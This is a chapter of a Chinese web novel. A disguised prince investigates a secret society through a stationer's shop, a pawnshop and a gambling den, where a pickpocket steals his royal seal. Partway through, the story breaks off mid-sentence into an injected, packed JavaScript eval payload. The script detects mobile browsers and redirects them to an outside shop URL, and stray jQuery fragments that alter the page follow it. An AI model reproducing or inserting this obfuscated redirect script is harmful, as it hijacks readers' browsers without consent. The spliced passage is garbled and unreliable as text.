50.“赢了还不走,小心一会儿输个精光!”

作品:《重生后前妻她又准备好攻略我了

    萧征在公主府门前别了苏萦,转头便直奔估衣铺,买了一身半旧的靛蓝棉袍换上,外罩玄色无纹披风,将代表亲王身份的蟠龙私印仔细收入内袋。镜中人眉目依旧,但华贵之气尽敛,只余下三分落拓,七分冷峻,像个有些见识却不得志的寻常文人,或是家道中落的武家子弟。他将马车拴在估衣铺旁的树下,转身汇入晏京隆冬萧索的人流。


    此次离京之前,袁鸣对质心阁的调查如泥牛入海,这结果萧征并不意外。若质心阁这般容易露出马脚,前世也不至于成为他心头一根至死未能拔除的毒刺。若想窥见执棋之手,唯有自己跳入棋局之中。


    接连两次失利,必已惊动质心阁。萧征手中的线索少之又少,唯一的实物,是那张已被他小心阴干,字迹仍清晰可辨的“质心契”。木片本身是寻常桃木,血渍沉暗。契约文字格式古怪,并非官样文书,也非市井常见的借据,倒像某种自成一派的秘约。落款处并无名姓,只半个指印画押——边缘在阳光下微透暗红,不似朱砂,倒像干涸的血,用水冲刷却并不洇晕。


    萧征猜测这是一种特制的赭色印泥。


    既是特制,便极有可能成为突破口。


    萧征并未直奔文人聚集的琉璃厂,那里过于醒目。他折入城南,在鱼龙混杂的街市间穿行,目光掠过沿途几家不起眼的杂货铺,香烛店,最后停在一间门脸窄小,招牌古旧的“陈记文具”前。店内昏暗,充斥着陈年纸张与墨锭的气味。掌柜是个眼皮耷拉的老者,正就着窗光修补一本破书。


    “老先生,叨扰。”萧征将木片小心取出,只露画押一角:“请问,店中可有这种颜色的印泥?”


    老者抬眼,浑浊的目光在木片上停留一瞬,眼皮几不可察地跳了跳。他慢吞吞放下针线,凑近些,鼻翼微微翕动,随即摇头,声音干涩:“客官,小店卖的都是寻常朱砂,八宝印泥,没这种血糊糊的东西。这东西,沾上就再也洗不干净了……快收起来吧。”


    “不干净”三字,他咬得略重。萧征心中一震,不再多问,道谢离去。转身时,余光瞥见老者迅速瞥了一眼街对面。萧征不动声色,走出十几步后假意查看路边摊贩的货物,借着一面模糊的铜镜反射,看见一个原本蹲在“陈记”对面屋檐下打盹的短衣汉子,正慢悠悠起身,朝萧征所在的方向踱来,步伐透着刻意的闲散。


    饵已放下,鱼线微微颤动。


    萧征不疾不徐,专挑人多眼杂的路线行走。他穿过喧闹的菜市,挤过拥塞的桥头,那短衣汉子的身影如同鬼魅,总在不远不近处闪现,时而消失在人丛,时而又在下一个路口出现。两人目光从没有相触过,仿佛就是两个毫不相干只是碰巧同路的行人。此人跟踪技巧老道,绝非寻常地痞。


    行至西市边缘,一片低矮棚户区与老旧瓦房交错之地,跟踪者忽然加速,拐进一条仅容两人并肩的窄巷。萧征略一沉吟,跟了进去。巷内昏暗潮湿,尽头被一堆杂物堵死,是条死胡同。那短衣汉子背对着他,站在尽头,仿佛在等待。


    “阁下引我来此,不妨直言。”萧征在巷中段停步,手自然垂在身侧,全身肌肉却已绷紧。


    汉子缓缓转身,脸上有一道醒目的疤,从眉骨划至嘴角,让他看起来十分狰狞,可那一双眼睛射出的目光却异常平静,看着这执着的年轻人,口气竟有些玩味:


    “好奇心害死猫,公子。”


    “那老头儿说的话,你才也听到了。有些东西,沾上了就甩不掉。看你也不像走投无路的人,这些事,何必打听呢?”


    “只是偶然见得,觉得稀奇。”萧征面不改色:“听口气,阁下很知道些内情?”


    “我什么都不知道。”疤脸汉子耸耸肩,一咧嘴,笑容牵动伤疤,更显诡异:“我只知道,再往下查下去,下次脑袋挂在城墙上的,可就不一定是该死的贪官了。他们也不是完全不杀好人的。”


    “尤其,像你这样的冒失鬼。”


    语毕,他竟不再理会萧征,转身手脚并用,异常灵活地攀上旁边一道矮墙,翻了过去。


    萧征没有追。对方是警告,也是另一种形式的“指点”——明确告诉他,他的调查已被注意,而且目前来看,方向全对了。质心阁并非毫无反应,只是用一种更隐秘,更居高临下的方式在回应。


    他走出窄巷,发现巷口斜对面有家当铺,黑底金字招牌“恒济当”已斑驳。方才那疤脸汉子攀墙的位置,正对着当铺的后巷。萧征心中一动,迈步走进当铺。


    柜面很高,后面坐着个戴瓜皮帽,套着棉袖套的掌柜,正就着柜台上的天光,眯眼审视着一块玉佩。见有人来,他掀起眼皮,懒洋洋道:“客官是赎是当?”说话间,他手中鉴定玉佩的动作未停,另一只手的指尖却几不可察地在柜台光滑的木质表面点了三下,又划了一个圈。


    萧征即刻心领神会。那是市井中极隐秘的一种手势,与军中或某些行会的暗号不同,更粗糙,意指“有麻烦,小心说话”。这掌柜在警告他,还是……在向另一个人传递信息?


    他回头向店铺外一望,街面空无一人。


    “随意看看。”萧征道,目光扫过店内。店铺狭小,除了柜台,只有墙边几排搁着当物的木架,积满灰尘。看不出异常。


    掌柜等他逡巡一遍,才懒洋洋地开口:“客官,这儿没什么好看的。这屋里所有的东西,全是有主儿的。”


    有主的?他这里没有死当物?萧征心中一闪念,又往掌柜脸上看了一眼。


    掌柜懒洋洋地在刚才那块玉佩上穿上一条草绳,草绳上挂上一块木牌。


    萧征看那木牌像极了他怀中揣着的质心契,心中一急:“掌柜的,能否让我看看那木牌?”


    “干什么?”掌柜的把那玉佩往怀里一拢,一脸戒备:“本行当物,概不出售!”


    “我只想看看那木牌。”萧征觑着他的神色,试探地伸出手去。


    “……我拿着,你看吧!”掌柜把那木牌翻过来递到萧征面前,警惕地把玉佩牢牢攥在手中。


    木牌与质心契的质地完全相同,散发出一股若有若无的异香。只是其上内容不过是罗列典当人姓名,赎回日期等等,底部画押是再普通不过的八宝印泥。


    “上面有什么稀奇的呀?看那么半天!”掌柜不耐烦地从高柜上伸出脑袋。


    “……没什么特别的。”萧征很有些失望,可心中疑虑还未消散。


    “桃木是辟邪之物,为何用它做号牌?”


    “客官,你管的真宽呢!快回家啃书本儿去,早日讨个官做,看给你闲的!”掌柜不耐烦地缩回手:“本行要打烊了,客官请便!”


    萧征不动声色离开当铺,并未走远,而是绕到后巷观察。巷内堆满杂物,但当铺后门一侧的墙根处,有几片新鲜剥落的墙皮,痕迹很新。他蹲下身,用手指捻起一点墙灰,在略高于地面的位置,两道近乎重合的新鲜划痕嵌入砖缝——是鞋尖急速蹬踏留下的。有人刚从后墙翻入又翻出,很可能就是那疤脸汉子,他进入当铺报了信。


    可他又故意引萧征至此——是故意泄露?


    一家只有活当的当铺,与质心契一模一样的桃木片……他掏出怀里的质心契,从中间折断,对着那剖面嗅了嗅。那股异香熏在内里,虽被血腥气盖住大半,却也绝不会错。


    这里很可能是质心阁的一个联络点,或者说,销赃,周转的渠道!


    线索开始串联,但愈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006394|190662||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    发扑朔迷离。质心阁似乎并不怕他找到这个外围据点,甚至像有意展示给他看。


    天色渐晚,寒意愈重。既抓住一丝线索,萧征决定乘胜追击。他在不远处一家茶摊坐下,要了碗热茶啜饮着,默默观察。半个时辰过去,当铺也并没有打烊的意思,进出三四人,皆寻常百姓模样。直到一个穿着体面,满脸油光的中年胖子踱步进去,片刻后出来时,手中本空空荡荡的锦缎包袱已变得鼓鼓囊囊。


    萧征悄然尾随。胖子颇为谨慎,穿街过巷,最终钻进一条巷子深处的一家门脸气派,灯火通明的赌坊——“千金窟”。喧嚣热浪夹杂着汗臭,铜钱味扑面而来。胖子熟门熟路,绕过吆五喝六的大堂,径直走向后方挂着厚帘的里间。


    赌坊,鱼龙混杂,资金流动巨大,确实是隐匿和洗换的绝佳场所。萧征略一思索,用碎银换了筹码,混入赌客之中,慢慢向里间靠近。帘子偶尔掀动,可见里面是更私密的牌局,参与者衣着光鲜,气氛却更加凝滞。


    “小子,赢了还不走,小心一会儿输个精光!”


    有人冷不丁在嘈杂中扬声断喝一声。


    萧征一惊,回头张望,肩膀就在这时被人不轻不重地撞了一下。


    “哎哟,对不住对不住!”撞他的是个瘦小伶仃的年轻人,点头哈腰,满脸惶恐,手里还抓着几个筹码:“小人没长眼,冲撞了爷!”


    萧征蹙眉,本能地按住放印信的内袋,触手坚实,心下稍安。


    “无妨。”他侧身让过。


    年轻人千恩万谢地挤了过去。然而,就在擦身而过的瞬间,萧征鼻尖掠过一丝熟悉的奇特香气,似檀非檀,混合着一股冰冷的铁锈味,与他怀中那张质心契上残留的气息如出一辙!


    他猛地回头,那瘦小身影已泥鳅般滑入汹涌的赌客人潮,消失不见。


    萧征立刻探手入怀,脸色骤变——内袋中,父皇亲赐,代表他永宁王身份的蟠龙私印已不翼而飞,取而代之的是一枚沉甸甸的筹码。那张质心契,却还好端端地待在另一侧。


    对方的目标明确,只取走了最能直接证明他皇室身份的印信:不必装模作样,我们早知道你是谁。


    那看似冒失的一撞,那卑躬屈膝的道歉,全是精心设计的表演。从他踏入陈记文具,不,或许更早,从他开始调查刑场事件起,他就已落在对方网中。步步引导,层层展示,最终在最适合下手,也最能震慑他的地方,轻易取走了他最紧要的凭证。


    这不是警告,这是宣示。宣示他们对他的一切了如指掌,宣示他们拥有在闹市之中,于他贴身之处取物的能力,更是一种冷酷的嘲讽:看,你连自己的印信都护不住,还想追查我们?


    寒意从脊椎窜上。质心阁不仅存在,其组织之严密,行事之诡谲,手段之精准,远超他此前最坏的预估。他们如同潜伏在京城血肉下的另一套脉络,无声搏动,掌控着不为人知的交易与生死。


    萧征站在乌烟瘴气的赌坊里,周遭的狂热呼喊仿佛瞬间远去。印信丢失,事关重大,谁知道他们要打着他的名号做什么呢?他得马上回到宫里去,向陛下秉明此事。他深吸一口气,强迫自己冷静,转身挤出“千金窟”。


    寒风扑面,街上已是华灯初上,快到宫门关闭的时辰了,他必须尽快赶去与苏萦会合。就在这时,他瞥见前方不远处,一个熟悉的,穿着粗布衣裳的纤细身影,正独自缩着脖子袖着手,沿着墙根快步疾行,东张西望地辨路。不是苏萦又是谁?


    他紧跑两步追上她:“未晚,你怎么在这儿?”


    苏萦不可置信地转过头来,待看清他面容,两眼一亮,随即捂着一张冻得通红的小脸可怜巴巴地抱怨:“我的马车丢了!”